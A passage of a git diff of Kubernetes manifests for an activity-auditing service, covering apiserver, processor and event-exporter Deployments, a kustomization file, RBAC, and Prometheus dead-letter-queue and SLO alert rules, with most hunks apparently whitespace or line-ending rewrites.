+ - --clickhouse-tls-enabled=$(CLICKHOUSE_TLS_ENABLED) + - --clickhouse-tls-cert-file=$(CLICKHOUSE_TLS_CERT_FILE) + - --clickhouse-tls-key-file=$(CLICKHOUSE_TLS_KEY_FILE) + - --clickhouse-tls-ca-file=$(CLICKHOUSE_TLS_CA_FILE) + - --kubeconfig=$(KUBECONFIG) + - --authentication-kubeconfig=$(AUTHENTICATION_KUBECONFIG) + - --authentication-skip-lookup=$(AUTHENTICATION_SKIP_LOOKUP) + - --authentication-tolerate-lookup-failure=$(AUTHENTICATION_TOLERATE_LOOKUP_FAILURE) + - --authorization-kubeconfig=$(AUTHORIZATION_KUBECONFIG) + - --authorization-always-allow-paths=$(AUTHORIZATION_ALWAYS_ALLOW_PATHS) + - --requestheader-client-ca-file=$(REQUESTHEADER_CLIENT_CA_FILE) + - --requestheader-username-headers=$(REQUESTHEADER_USERNAME_HEADERS) + - --requestheader-group-headers=$(REQUESTHEADER_GROUP_HEADERS) + - --requestheader-uid-headers=$(REQUESTHEADER_UID_HEADERS) + - --requestheader-extra-headers-prefix=$(REQUESTHEADER_EXTRA_HEADERS_PREFIX) + - --logging-format=$(LOGGING_FORMAT) + - --tracing-config-file=$(TRACING_CONFIG_FILE) + - --etcd-servers=$(ETCD_SERVERS) + - --etcd-prefix=$(ETCD_PREFIX) + - --etcd-cafile=$(ETCD_CAFILE) + - --etcd-certfile=$(ETCD_CERTFILE) + - --etcd-keyfile=$(ETCD_KEYFILE) + - --activities-nats-url=$(ACTIVITIES_NATS_URL) + - --activities-nats-stream=$(ACTIVITIES_NATS_STREAM) + - --activities-nats-subject-prefix=$(ACTIVITIES_NATS_SUBJECT_PREFIX) + - --activities-nats-tls-enabled=$(ACTIVITIES_NATS_TLS_ENABLED) + - --activities-nats-tls-cert-file=$(ACTIVITIES_NATS_TLS_CERT_FILE) + - --activities-nats-tls-key-file=$(ACTIVITIES_NATS_TLS_KEY_FILE) + - --activities-nats-tls-ca-file=$(ACTIVITIES_NATS_TLS_CA_FILE) + - --events-nats-url=$(EVENTS_NATS_URL) + - --events-nats-stream=$(EVENTS_NATS_STREAM) + - --events-nats-subject-prefix=$(EVENTS_NATS_SUBJECT_PREFIX) + - --events-nats-tls-enabled=$(EVENTS_NATS_TLS_ENABLED) + - --events-nats-tls-cert-file=$(EVENTS_NATS_TLS_CERT_FILE) + - --events-nats-tls-key-file=$(EVENTS_NATS_TLS_KEY_FILE) + - --events-nats-tls-ca-file=$(EVENTS_NATS_TLS_CA_FILE) + - -v=$(LOG_LEVEL) + env: + - name: SECURE_PORT + value: "8443" + - name: TLS_CERT_FILE + value: "/var/run/activity-apiserver/tls/tls.crt" + - name: TLS_PRIVATE_KEY_FILE + value: "/var/run/activity-apiserver/tls/tls.key" + - name: KUBECONFIG + value: "" + - name: AUTHENTICATION_KUBECONFIG + value: "" + - name: AUTHENTICATION_SKIP_LOOKUP + value: "false" + - name: AUTHENTICATION_TOLERATE_LOOKUP_FAILURE + value: "false" + - name: AUTHORIZATION_KUBECONFIG + value: "" + - name: AUTHORIZATION_ALWAYS_ALLOW_PATHS + value: "/healthz,/readyz,/livez" + - name: REQUESTHEADER_CLIENT_CA_FILE + value: "" + - name: REQUESTHEADER_USERNAME_HEADERS + value: "X-Remote-User" + - name: REQUESTHEADER_GROUP_HEADERS + value: "X-Remote-Group" + - name: REQUESTHEADER_UID_HEADERS + value: "X-Remote-Uid" + - name: REQUESTHEADER_EXTRA_HEADERS_PREFIX + value: "X-Remote-Extra-" + - name: LOGGING_FORMAT + value: "json" + - name: LOG_LEVEL + value: "4" + - name: TRACING_CONFIG_FILE + value: "" + - name: CLICKHOUSE_ADDRESS + value: "clickhouse.activity-system.svc.cluster.local:9000" + - name: CLICKHOUSE_DATABASE + value: "audit" + - name: CLICKHOUSE_USERNAME + value: "default" + - name: CLICKHOUSE_PASSWORD + valueFrom: + secretKeyRef: + name: clickhouse-credentials + key: password + optional: true + - name: CLICKHOUSE_TLS_ENABLED + value: "false" + - name: CLICKHOUSE_TLS_CERT_FILE + value: "" + - name: CLICKHOUSE_TLS_KEY_FILE + value: "" + - name: CLICKHOUSE_TLS_CA_FILE + value: "" + - name: ETCD_SERVERS + value: "http://etcd.activity-system.svc.cluster.local:2379" + - name: ETCD_PREFIX + value: "/registry/activity.miloapis.com" + - name: ETCD_CAFILE + value: "" + - name: ETCD_CERTFILE + value: "" + - name: ETCD_KEYFILE + value: "" + # NATS configuration for Activities Watch API (empty = Watch API disabled) + - name: ACTIVITIES_NATS_URL + value: "" + - name: ACTIVITIES_NATS_STREAM + value: "ACTIVITIES" + - name: ACTIVITIES_NATS_SUBJECT_PREFIX + value: "activities" + - name: ACTIVITIES_NATS_TLS_ENABLED + value: "false" + - name: ACTIVITIES_NATS_TLS_CERT_FILE + value: "" + - name: ACTIVITIES_NATS_TLS_KEY_FILE + value: "" + - name: ACTIVITIES_NATS_TLS_CA_FILE + value: "" + # NATS configuration for Events Watch API (empty = Watch API disabled) + - name: EVENTS_NATS_URL + value: "" + - name: EVENTS_NATS_STREAM + value: "EVENTS" + - name: EVENTS_NATS_SUBJECT_PREFIX + value: "events" + - name: EVENTS_NATS_TLS_ENABLED + value: "false" + - name: EVENTS_NATS_TLS_CERT_FILE + value: "" + - name: EVENTS_NATS_TLS_KEY_FILE + value: "" + - name: EVENTS_NATS_TLS_CA_FILE + value: "" + resources: + requests: + cpu: 250m + memory: 128Mi + limits: + cpu: "1" + memory: 512Mi + livenessProbe: + httpGet: + path: /healthz + port: https + scheme: HTTPS + initialDelaySeconds: 15 + periodSeconds: 20 + readinessProbe: + httpGet: + path: /readyz + port: https + scheme: HTTPS + initialDelaySeconds: 5 + periodSeconds: 10 + volumeMounts: + - name: tls-certs + mountPath: /var/run/activity-apiserver/tls + readOnly: true + - name: control-plane-ca + mountPath: /etc/kubernetes/pki/requestheader + readOnly: true + - name: tmp + mountPath: /tmp + volumes: + - name: tls-certs + csi: + driver: csi.cert-manager.io + readOnly: true + volumeAttributes: + csi.cert-manager.io/issuer-name: selfsigned-cluster-issuer + csi.cert-manager.io/issuer-kind: ClusterIssuer + csi.cert-manager.io/common-name: activity-apiserver.activity-system.svc + csi.cert-manager.io/dns-names: "activity-apiserver,activity-apiserver.activity-system,activity-apiserver.activity-system.svc,activity-apiserver.activity-system.svc.cluster.local" + csi.cert-manager.io/duration: "8760h" + csi.cert-manager.io/renew-before: "720h" + csi.cert-manager.io/fs-group: "65532" + - name: control-plane-ca + configMap: + name: control-plane-ca + optional: true + - name: tmp + emptyDir: {} diff --git a/config/base/kustomization.yaml b/config/base/kustomization.yaml index aa55e1b9..71688ec8 100644 --- a/config/base/kustomization.yaml +++ b/config/base/kustomization.yaml @@ -1,63 +1,63 @@ -apiVersion: kustomize.config.k8s.io/v1beta1 -kind: Kustomization - -namespace: activity-system - -resources: - - serviceaccount.yaml - - deployment.yaml - - processor.yaml # Activity processor deployment + RBAC - - controller-manager.yaml # Controller manager deployment + ServiceAccount + ClusterRoleBinding - - generated/controller-manager-rbac.yaml # Auto-generated ClusterRole from kubebuilder annotations - - service.yaml - - secret.yaml - - rbac-auth-reader.yaml - - rbac-cluster.yaml - - rbac/reindex-worker-sa.yaml - - rbac/reindex-worker-role.yaml - - rbac/reindex-worker-rolebinding.yaml - -labels: - - includeSelectors: true - includeTemplates: true - pairs: - app.kubernetes.io/name: activity - app.kubernetes.io/instance: activity-apiserver - app.kubernetes.io/component: apiserver - app.kubernetes.io/part-of: activity.miloapis.com - app.kubernetes.io/managed-by: kustomize - -# Images (will be replaced by overlays for different environments) -images: - - name: ghcr.io/datum-cloud/activity - newTag: latest - -# Sync ACTIVITY_IMAGE env var with the container image after image transformation. -# Kustomize processes images: before replacements:, so this correctly picks up the -# transformed image tag and injects it into the controller-manager env var used for -# spawning ReindexJob worker pods. -replacements: - - source: - kind: Deployment - name: activity-controller-manager - fieldPath: spec.template.spec.containers.[name=manager].image - targets: - - select: - kind: Deployment - name: activity-controller-manager - fieldPaths: - - spec.template.spec.containers.[name=manager].env.[name=ACTIVITY_IMAGE].value - -# JSON patches to ensure rbac-auth-reader stays in kube-system -# These are applied AFTER all other transformations -patches: - - target: - kind: RoleBinding - name: activity-apiserver-auth-reader - patch: |- - - op: replace - path: /metadata/namespace - value: kube-system - - op: replace - path: /subjects/0/namespace - value: activity-system +apiVersion: kustomize.config.k8s.io/v1beta1 +kind: Kustomization + +namespace: activity-system + +resources: + - serviceaccount.yaml + - deployment.yaml + - processor.yaml # Activity processor deployment + RBAC + - controller-manager.yaml # Controller manager deployment + ServiceAccount + ClusterRoleBinding + - generated/controller-manager-rbac.yaml # Auto-generated ClusterRole from kubebuilder annotations + - service.yaml + - secret.yaml + - rbac-auth-reader.yaml + - rbac-cluster.yaml + - rbac/reindex-worker-sa.yaml + - rbac/reindex-worker-role.yaml + - rbac/reindex-worker-rolebinding.yaml + +labels: + - includeSelectors: true + includeTemplates: true + pairs: + app.kubernetes.io/name: activity + app.kubernetes.io/instance: activity-apiserver + app.kubernetes.io/component: apiserver + app.kubernetes.io/part-of: activity.miloapis.com + app.kubernetes.io/managed-by: kustomize + +# Images (will be replaced by overlays for different environments) +images: + - name: ghcr.io/datum-cloud/activity + newTag: latest + +# Sync ACTIVITY_IMAGE env var with the container image after image transformation. +# Kustomize processes images: before replacements:, so this correctly picks up the +# transformed image tag and injects it into the controller-manager env var used for +# spawning ReindexJob worker pods. +replacements: + - source: + kind: Deployment + name: activity-controller-manager + fieldPath: spec.template.spec.containers.[name=manager].image + targets: + - select: + kind: Deployment + name: activity-controller-manager + fieldPaths: + - spec.template.spec.containers.[name=manager].env.[name=ACTIVITY_IMAGE].value + +# JSON patches to ensure rbac-auth-reader stays in kube-system +# These are applied AFTER all other transformations +patches: + - target: + kind: RoleBinding + name: activity-apiserver-auth-reader + patch: |- + - op: replace + path: /metadata/namespace + value: kube-system + - op: replace + path: /subjects/0/namespace + value: activity-system diff --git a/config/base/processor.yaml b/config/base/processor.yaml index cc084843..61f827fb 100644 --- a/config/base/processor.yaml +++ b/config/base/processor.yaml @@ -1,174 +1,174 @@ -apiVersion: v1 -kind: ServiceAccount -metadata: - name: activity-processor - namespace: activity-system ---- -apiVersion: rbac.authorization.k8s.io/v1 -kind: ClusterRole -metadata: - name: activity-processor -rules: -# Read ActivityPolicies to know which rules to apply -- apiGroups: - - activity.miloapis.com - resources: - - activitypolicies - verbs: - - get - - list - - watch ---- -apiVersion: rbac.authorization.k8s.io/v1 -kind: ClusterRoleBinding -metadata: - name: activity-processor -roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: activity-processor -subjects: -- kind: ServiceAccount - name: activity-processor - namespace: activity-system ---- -apiVersion: apps/v1 -kind: Deployment -metadata: - name: activity-processor - namespace: activity-system -spec: - replicas: 1 - selector: - matchLabels: - app: activity-processor - template: - metadata: - labels: - app: activity-processor - spec: - serviceAccountName: activity-processor - securityContext: - runAsNonRoot: true - runAsUser: 65532 - runAsGroup: 65532 - fsGroup: 65532 - seccompProfile: - type: RuntimeDefault - containers: - - name: processor - image: ghcr.io/datum-cloud/activity:latest - imagePullPolicy: IfNotPresent - securityContext: - allowPrivilegeEscalation: false - readOnlyRootFilesystem: true - runAsNonRoot: true - runAsUser: 65532 - capabilities: - drop: - - ALL - ports: - - containerPort: 8081 - name: health - protocol: TCP - command: - - /activity - - processor - args: - - --kubeconfig=$(ACTIVITY_KUBECONFIG) - - --nats-url=$(NATS_URL) - - --nats-stream=$(NATS_STREAM) - - --consumer-name=$(CONSUMER_NAME) - - --output-stream=$(OUTPUT_STREAM) - - --output-subject-prefix=$(OUTPUT_SUBJECT_PREFIX) - - --nats-tls-enabled=$(NATS_TLS_ENABLED) - - --nats-tls-cert-file=$(NATS_TLS_CERT_FILE) - - --nats-tls-key-file=$(NATS_TLS_KEY_FILE) - - --nats-tls-ca-file=$(NATS_TLS_CA_FILE) - - --workers=$(WORKERS) - - --batch-size=$(BATCH_SIZE) - - --health-probe-addr=$(HEALTH_PROBE_ADDR) - - -v=$(LOG_LEVEL) - - --logging-format=$(LOGGING_FORMAT) - env: - - name: ACTIVITY_KUBECONFIG - value: "" - - name: NATS_URL - value: "nats://nats.nats-system.svc.cluster.local:4222" - - name: NATS_STREAM - value: "AUDIT_EVENTS" - - name: CONSUMER_NAME - value: "activity-processor" - - name: OUTPUT_STREAM - value: "ACTIVITIES" - - name: OUTPUT_SUBJECT_PREFIX - value: "activities" - - name: NATS_TLS_ENABLED - value: "false" - - name: NATS_TLS_CERT_FILE - value: "" - - name: NATS_TLS_KEY_FILE - value: "" - - name: NATS_TLS_CA_FILE - value: "" - - name: WORKERS - value: "4" - - name: BATCH_SIZE - value: "100" - - name: HEALTH_PROBE_ADDR - value: ":8081" - - name: LOG_LEVEL - value: "2" - - name: LOGGING_FORMAT - value: "json" - resources: - requests: - cpu: 100m - memory: 128Mi - limits: - cpu: 500m - memory: 512Mi - livenessProbe: - httpGet: - path: /healthz - port: health - scheme: HTTP - initialDelaySeconds: 15 - periodSeconds: 20 - timeoutSeconds: 5 - failureThreshold: 3 - readinessProbe: - httpGet: - path: /readyz - port: health - scheme: HTTP - initialDelaySeconds: 5 - periodSeconds: 10 - timeoutSeconds: 3 - failureThreshold: 3 - volumeMounts: - - name: tmp - mountPath: /tmp - volumes: - - name: tmp - emptyDir: {} ---- -# Service for metrics scraping by Prometheus -apiVersion: v1 -kind: Service -metadata: - name: activity-processor - namespace: activity-system - labels: - app: activity-processor - app.kubernetes.io/name: activity-processor - app.kubernetes.io/component: processor -spec: - ports: - - name: health - port: 8081 - protocol: TCP - targetPort: health - selector: - app: activity-processor - type: ClusterIP +apiVersion: v1 +kind: ServiceAccount +metadata: + name: activity-processor + namespace: activity-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: activity-processor +rules: +# Read ActivityPolicies to know which rules to apply +- apiGroups: + - activity.miloapis.com + resources: + - activitypolicies + verbs: + - get + - list + - watch +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: activity-processor +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: activity-processor +subjects: +- kind: ServiceAccount + name: activity-processor + namespace: activity-system +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: activity-processor + namespace: activity-system +spec: + replicas: 1 + selector: + matchLabels: + app: activity-processor + template: + metadata: + labels: + app: activity-processor + spec: + serviceAccountName: activity-processor + securityContext: + runAsNonRoot: true + runAsUser: 65532 + runAsGroup: 65532 + fsGroup: 65532 + seccompProfile: + type: RuntimeDefault + containers: + - name: processor + image: ghcr.io/datum-cloud/activity:latest + imagePullPolicy: IfNotPresent + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + runAsNonRoot: true + runAsUser: 65532 + capabilities: + drop: + - ALL + ports: + - containerPort: 8081 + name: health + protocol: TCP + command: + - /activity + - processor + args: + - --kubeconfig=$(ACTIVITY_KUBECONFIG) + - --nats-url=$(NATS_URL) + - --nats-stream=$(NATS_STREAM) + - --consumer-name=$(CONSUMER_NAME) + - --output-stream=$(OUTPUT_STREAM) + - --output-subject-prefix=$(OUTPUT_SUBJECT_PREFIX) + - --nats-tls-enabled=$(NATS_TLS_ENABLED) + - --nats-tls-cert-file=$(NATS_TLS_CERT_FILE) + - --nats-tls-key-file=$(NATS_TLS_KEY_FILE) + - --nats-tls-ca-file=$(NATS_TLS_CA_FILE) + - --workers=$(WORKERS) + - --batch-size=$(BATCH_SIZE) + - --health-probe-addr=$(HEALTH_PROBE_ADDR) + - -v=$(LOG_LEVEL) + - --logging-format=$(LOGGING_FORMAT) + env: + - name: ACTIVITY_KUBECONFIG + value: "" + - name: NATS_URL + value: "nats://nats.nats-system.svc.cluster.local:4222" + - name: NATS_STREAM + value: "AUDIT_EVENTS" + - name: CONSUMER_NAME + value: "activity-processor" + - name: OUTPUT_STREAM + value: "ACTIVITIES" + - name: OUTPUT_SUBJECT_PREFIX + value: "activities" + - name: NATS_TLS_ENABLED + value: "false" + - name: NATS_TLS_CERT_FILE + value: "" + - name: NATS_TLS_KEY_FILE + value: "" + - name: NATS_TLS_CA_FILE + value: "" + - name: WORKERS + value: "4" + - name: BATCH_SIZE + value: "100" + - name: HEALTH_PROBE_ADDR + value: ":8081" + - name: LOG_LEVEL + value: "2" + - name: LOGGING_FORMAT + value: "json" + resources: + requests: + cpu: 100m + memory: 128Mi + limits: + cpu: 500m + memory: 512Mi + livenessProbe: + httpGet: + path: /healthz + port: health + scheme: HTTP + initialDelaySeconds: 15 + periodSeconds: 20 + timeoutSeconds: 5 + failureThreshold: 3 + readinessProbe: + httpGet: + path: /readyz + port: health + scheme: HTTP + initialDelaySeconds: 5 + periodSeconds: 10 + timeoutSeconds: 3 + failureThreshold: 3 + volumeMounts: + - name: tmp + mountPath: /tmp + volumes: + - name: tmp + emptyDir: {} +--- +# Service for metrics scraping by Prometheus +apiVersion: v1 +kind: Service +metadata: + name: activity-processor + namespace: activity-system + labels: + app: activity-processor + app.kubernetes.io/name: activity-processor + app.kubernetes.io/component: processor +spec: + ports: + - name: health + port: 8081 + protocol: TCP + targetPort: health + selector: + app: activity-processor + type: ClusterIP diff --git a/config/components/k8s-event-exporter/deployment.yaml b/config/components/k8s-event-exporter/deployment.yaml index bfcc9921..d6a9f02e 100644 --- a/config/components/k8s-event-exporter/deployment.yaml +++ b/config/components/k8s-event-exporter/deployment.yaml @@ -1,84 +1,84 @@ -apiVersion: apps/v1 -kind: Deployment -metadata: - name: k8s-event-exporter - namespace: activity-system - labels: - app: k8s-event-exporter - app.kubernetes.io/name: k8s-event-exporter - app.kubernetes.io/component: event-forwarder -spec: - replicas: 1 - selector: - matchLabels: - app: k8s-event-exporter - template: - metadata: - labels: - app: k8s-event-exporter - app.kubernetes.io/name: k8s-event-exporter - app.kubernetes.io/component: event-forwarder - spec: - serviceAccountName: k8s-event-exporter - securityContext: - runAsNonRoot: true - runAsUser: 65532 - fsGroup: 65532 - containers: - - name: event-exporter - # Uses the same activity image with the event-exporter subcommand - image: ghcr.io/datum-cloud/activity:dev - imagePullPolicy: IfNotPresent - args: - - event-exporter - - --logging-format=$(LOGGING_FORMAT) - - -v=2 - ports: - - containerPort: 8081 - name: health - protocol: TCP - env: - - name: LOGGING_FORMAT - value: "json" - - name: NATS_URL - value: "nats://nats.nats-system.svc.cluster.local:4222" - - name: SUBJECT_PREFIX - value: "events" - # SCOPE_TYPE and SCOPE_NAME provide default scope annotations for bootstrapping. - # In production, Milo injects these values at request time via admission webhook. - # Override these defaults per-environment using Kustomize patches. - - name: SCOPE_TYPE - value: "organization" - - name: SCOPE_NAME - value: "dev-org" - securityContext: - allowPrivilegeEscalation: false - readOnlyRootFilesystem: true - capabilities: - drop: - - ALL - resources: - requests: - cpu: 10m - memory: 32Mi - limits: - cpu: 100m - memory: 128Mi - livenessProbe: - httpGet: - path: /healthz - port: health - scheme: HTTP - initialDelaySeconds: 15 - periodSeconds: 20 - timeoutSeconds: 5 - failureThreshold: 3 - readinessProbe: - httpGet: - path: /readyz - port: health - scheme: HTTP - initialDelaySeconds: 5 - periodSeconds: 10 - timeoutSeconds: 3 - failureThreshold: 3 +apiVersion: apps/v1 +kind: Deployment +metadata: + name: k8s-event-exporter + namespace: activity-system + labels: + app: k8s-event-exporter + app.kubernetes.io/name: k8s-event-exporter + app.kubernetes.io/component: event-forwarder +spec: + replicas: 1 + selector: + matchLabels: + app: k8s-event-exporter + template: + metadata: + labels: + app: k8s-event-exporter + app.kubernetes.io/name: k8s-event-exporter + app.kubernetes.io/component: event-forwarder + spec: + serviceAccountName: k8s-event-exporter + securityContext: + runAsNonRoot: true + runAsUser: 65532 + fsGroup: 65532 + containers: + - name: event-exporter + # Uses the same activity image with the event-exporter subcommand + image: ghcr.io/datum-cloud/activity:dev + imagePullPolicy: IfNotPresent + args: + - event-exporter + - --logging-format=$(LOGGING_FORMAT) + - -v=2 + ports: + - containerPort: 8081 + name: health + protocol: TCP + env: + - name: LOGGING_FORMAT + value: "json" + - name: NATS_URL + value: "nats://nats.nats-system.svc.cluster.local:4222" + - name: SUBJECT_PREFIX + value: "events" + # SCOPE_TYPE and SCOPE_NAME provide default scope annotations for bootstrapping. + # In production, Milo injects these values at request time via admission webhook. + # Override these defaults per-environment using Kustomize patches. + - name: SCOPE_TYPE + value: "organization" + - name: SCOPE_NAME + value: "dev-org" + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: + drop: + - ALL + resources: + requests: + cpu: 10m + memory: 32Mi + limits: + cpu: 100m + memory: 128Mi + livenessProbe: + httpGet: + path: /healthz + port: health + scheme: HTTP + initialDelaySeconds: 15 + periodSeconds: 20 + timeoutSeconds: 5 + failureThreshold: 3 + readinessProbe: + httpGet: + path: /readyz + port: health + scheme: HTTP + initialDelaySeconds: 5 + periodSeconds: 10 + timeoutSeconds: 3 + failureThreshold: 3 diff --git a/config/components/observability/alerts/dlq-alerts.yaml b/config/components/observability/alerts/dlq-alerts.yaml index 35be49b5..c1228a10 100644 --- a/config/components/observability/alerts/dlq-alerts.yaml +++ b/config/components/observability/alerts/dlq-alerts.yaml @@ -1,124 +1,124 @@ -apiVersion: monitoring.coreos.com/v1 -kind: PrometheusRule -metadata: - name: dlq-alerts - namespace: activity-system - labels: - prometheus: activity - app.kubernetes.io/part-of: activity - monitoring: "true" -spec: - groups: - # ========================================================================= - # DLQ Health Alerts - Platform SRE Ownership - # ========================================================================= - - name: dlq-health - interval: 30s - rules: - # DLQ Growing - Queue Not Draining - - alert: DLQQueueGrowing - expr: | - rate(activity_processor_dlq_events_published_total[5m]) > 0.1 - AND - increase(activity_processor_dlq_events_published_total[15m]) > 100 - for: 15m - labels: - severity: warning - component: activity-processor - team: platform-sre - annotations: - summary: "DLQ is growing - messages not being processed" - description: "DLQ is receiving {{ $value }} events/sec for 15+ minutes. Events are failing processing faster than retry can handle." - impact: "Failed events accumulating - may indicate systematic policy issue or processor problem" - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/dlq-growth.md" - - # DLQ Publish Errors - - alert: DLQPublishErrors - expr: rate(activity_processor_dlq_publish_errors_total[5m]) > 0.1 - for: 10m - labels: - severity: warning - component: activity-processor - team: platform-sre - annotations: - summary: "Failed to publish events to DLQ" - description: "{{ $value }} DLQ publish errors/sec. Events may be lost entirely." - impact: "Failed events not being captured - complete data loss for affected events" - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/dlq-publish-errors.md" - - # High Retry Count Events - - alert: DLQHighRetryCount - expr: | - increase(activity_processor_dlq_retry_events_high_retry_total[1h]) > 10 - for: 1h - labels: - severity: warning - component: activity-processor - team: platform-sre - annotations: - summary: "DLQ events with excessive retry attempts" - description: "{{ $value }} events have exceeded the high retry threshold for {{ $labels.api_group }}/{{ $labels.kind }}." - impact: "Events failing persistently - policy or cluster issue preventing recovery" - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/dlq-high-retry-count.md" - - # DLQ slow-leak - low-rate but persistent failures - - alert: DLQSlowLeak - expr: | - increase(activity_processor_dlq_events_published_total[6h]) > 10 - for: 1h - labels: - severity: warning - component: activity-processor - team: platform-sre - annotations: - summary: "DLQ receiving events at a slow but steady rate" - description: "{{ $value }} events sent to DLQ in the last 6 hours. A policy may be failing for specific event shapes." - impact: "Some activities silently not being generated" - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/dlq-growth.md" - - # ========================================================================= - # DLQ Retry Effectiveness - # ========================================================================= - - name: dlq-retry - interval: 60s - rules: - # Retry Not Succeeding - - alert: DLQRetryIneffective - expr: | - ( - sum(rate(activity_processor_dlq_retry_attempts_total{result="failed"}[15m])) - / - sum(rate(activity_processor_dlq_retry_attempts_total[15m])) - ) > 0.8 - for: 30m - labels: - severity: warning - component: activity-processor - team: platform-sre - annotations: - summary: "DLQ retry success rate is low" - description: "{{ $value | humanizePercentage }} of retry attempts are failing. Events not recovering after retry." - impact: "Automatic retry not effective - manual intervention may be required" - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/dlq-retry-failing.md" - - # ========================================================================= - # Per-Policy DLQ Alerts - Policy Owner Responsibility - # ========================================================================= - - name: dlq-policy-errors - interval: 60s - rules: - # Policy Sending Events to DLQ - - alert: ActivityPolicyDLQErrors - expr: | - sum by (policy_name, api_group, kind, error_type) ( - rate(activity_processor_dlq_events_published_total{policy_name!=""}[10m]) - ) > 0.1 - for: 15m - labels: - severity: warning - component: activity-processor - annotations: - summary: "ActivityPolicy {{ $labels.policy_name }} sending events to DLQ" - description: "Policy {{ $labels.policy_name }} for {{ $labels.api_group }}/{{ $labels.kind }} has {{ $value }} events/sec failing with {{ $labels.error_type }}." - impact: "Activities not being generated for this resource type - users see incomplete timeline" - runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/policy-dlq-errors.md" +apiVersion: monitoring.coreos.com/v1 +kind: PrometheusRule +metadata: + name: dlq-alerts + namespace: activity-system + labels: + prometheus: activity + app.kubernetes.io/part-of: activity + monitoring: "true" +spec: + groups: + # ========================================================================= + # DLQ Health Alerts - Platform SRE Ownership + # ========================================================================= + - name: dlq-health + interval: 30s + rules: + # DLQ Growing - Queue Not Draining + - alert: DLQQueueGrowing + expr: | + rate(activity_processor_dlq_events_published_total[5m]) > 0.1 + AND + increase(activity_processor_dlq_events_published_total[15m]) > 100 + for: 15m + labels: + severity: warning + component: activity-processor + team: platform-sre + annotations: + summary: "DLQ is growing - messages not being processed" + description: "DLQ is receiving {{ $value }} events/sec for 15+ minutes. Events are failing processing faster than retry can handle." + impact: "Failed events accumulating - may indicate systematic policy issue or processor problem" + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/dlq-growth.md" + + # DLQ Publish Errors + - alert: DLQPublishErrors + expr: rate(activity_processor_dlq_publish_errors_total[5m]) > 0.1 + for: 10m + labels: + severity: warning + component: activity-processor + team: platform-sre + annotations: + summary: "Failed to publish events to DLQ" + description: "{{ $value }} DLQ publish errors/sec. Events may be lost entirely." + impact: "Failed events not being captured - complete data loss for affected events" + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/dlq-publish-errors.md" + + # High Retry Count Events + - alert: DLQHighRetryCount + expr: | + increase(activity_processor_dlq_retry_events_high_retry_total[1h]) > 10 + for: 1h + labels: + severity: warning + component: activity-processor + team: platform-sre + annotations: + summary: "DLQ events with excessive retry attempts" + description: "{{ $value }} events have exceeded the high retry threshold for {{ $labels.api_group }}/{{ $labels.kind }}." + impact: "Events failing persistently - policy or cluster issue preventing recovery" + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/dlq-high-retry-count.md" + + # DLQ slow-leak - low-rate but persistent failures + - alert: DLQSlowLeak + expr: | + increase(activity_processor_dlq_events_published_total[6h]) > 10 + for: 1h + labels: + severity: warning + component: activity-processor + team: platform-sre + annotations: + summary: "DLQ receiving events at a slow but steady rate" + description: "{{ $value }} events sent to DLQ in the last 6 hours. A policy may be failing for specific event shapes." + impact: "Some activities silently not being generated" + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/dlq-growth.md" + + # ========================================================================= + # DLQ Retry Effectiveness + # ========================================================================= + - name: dlq-retry + interval: 60s + rules: + # Retry Not Succeeding + - alert: DLQRetryIneffective + expr: | + ( + sum(rate(activity_processor_dlq_retry_attempts_total{result="failed"}[15m])) + / + sum(rate(activity_processor_dlq_retry_attempts_total[15m])) + ) > 0.8 + for: 30m + labels: + severity: warning + component: activity-processor + team: platform-sre + annotations: + summary: "DLQ retry success rate is low" + description: "{{ $value | humanizePercentage }} of retry attempts are failing. Events not recovering after retry." + impact: "Automatic retry not effective - manual intervention may be required" + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/dlq-retry-failing.md" + + # ========================================================================= + # Per-Policy DLQ Alerts - Policy Owner Responsibility + # ========================================================================= + - name: dlq-policy-errors + interval: 60s + rules: + # Policy Sending Events to DLQ + - alert: ActivityPolicyDLQErrors + expr: | + sum by (policy_name, api_group, kind, error_type) ( + rate(activity_processor_dlq_events_published_total{policy_name!=""}[10m]) + ) > 0.1 + for: 15m + labels: + severity: warning + component: activity-processor + annotations: + summary: "ActivityPolicy {{ $labels.policy_name }} sending events to DLQ" + description: "Policy {{ $labels.policy_name }} for {{ $labels.api_group }}/{{ $labels.kind }} has {{ $value }} events/sec failing with {{ $labels.error_type }}." + impact: "Activities not being generated for this resource type - users see incomplete timeline" + runbook_url: "https://github.com/datum-cloud/activity/blob/main/docs/runbooks/dlq/policy-dlq-errors.md" diff --git a/config/components/observability/alerts/slo-alerts.yaml b/config/components/observability/alerts/slo-alerts.yaml index 0a2471c3..1fe91b21 100644 --- a/config/components/observability/alerts/slo-alerts.yaml +++ b/config/components/observability/alerts/slo-alerts.yaml @@ -1,333 +1,333 @@ -apiVersion: monitoring.coreos.com/v1 -kind: PrometheusRule -metadata: - name: activity-slo-alerts - namespace: activity-system - labels: - prometheus: activity - app.kubernetes.io/part-of: activity - monitoring: "true" -spec: - groups: - # ========================================================================= - # SLO Burn-Rate Alerts - # - # Three urgency tiers per SLO (5 SLOs × 3 = 15 alerts total): - # Page (critical) — fast burn: >14.4x over 1h AND 5m windows - # Ticket (warning) — slow burn: >6x over 6h AND 30m windows - # Low (info) — trend: >3x over 3d AND 6h windows - # - # Error budget: 0.01 (99% SLO target) - # Burn-rate thresholds: - # 14.4% = 0.144 (exhausts 5% of monthly budget in 1h → page) - # 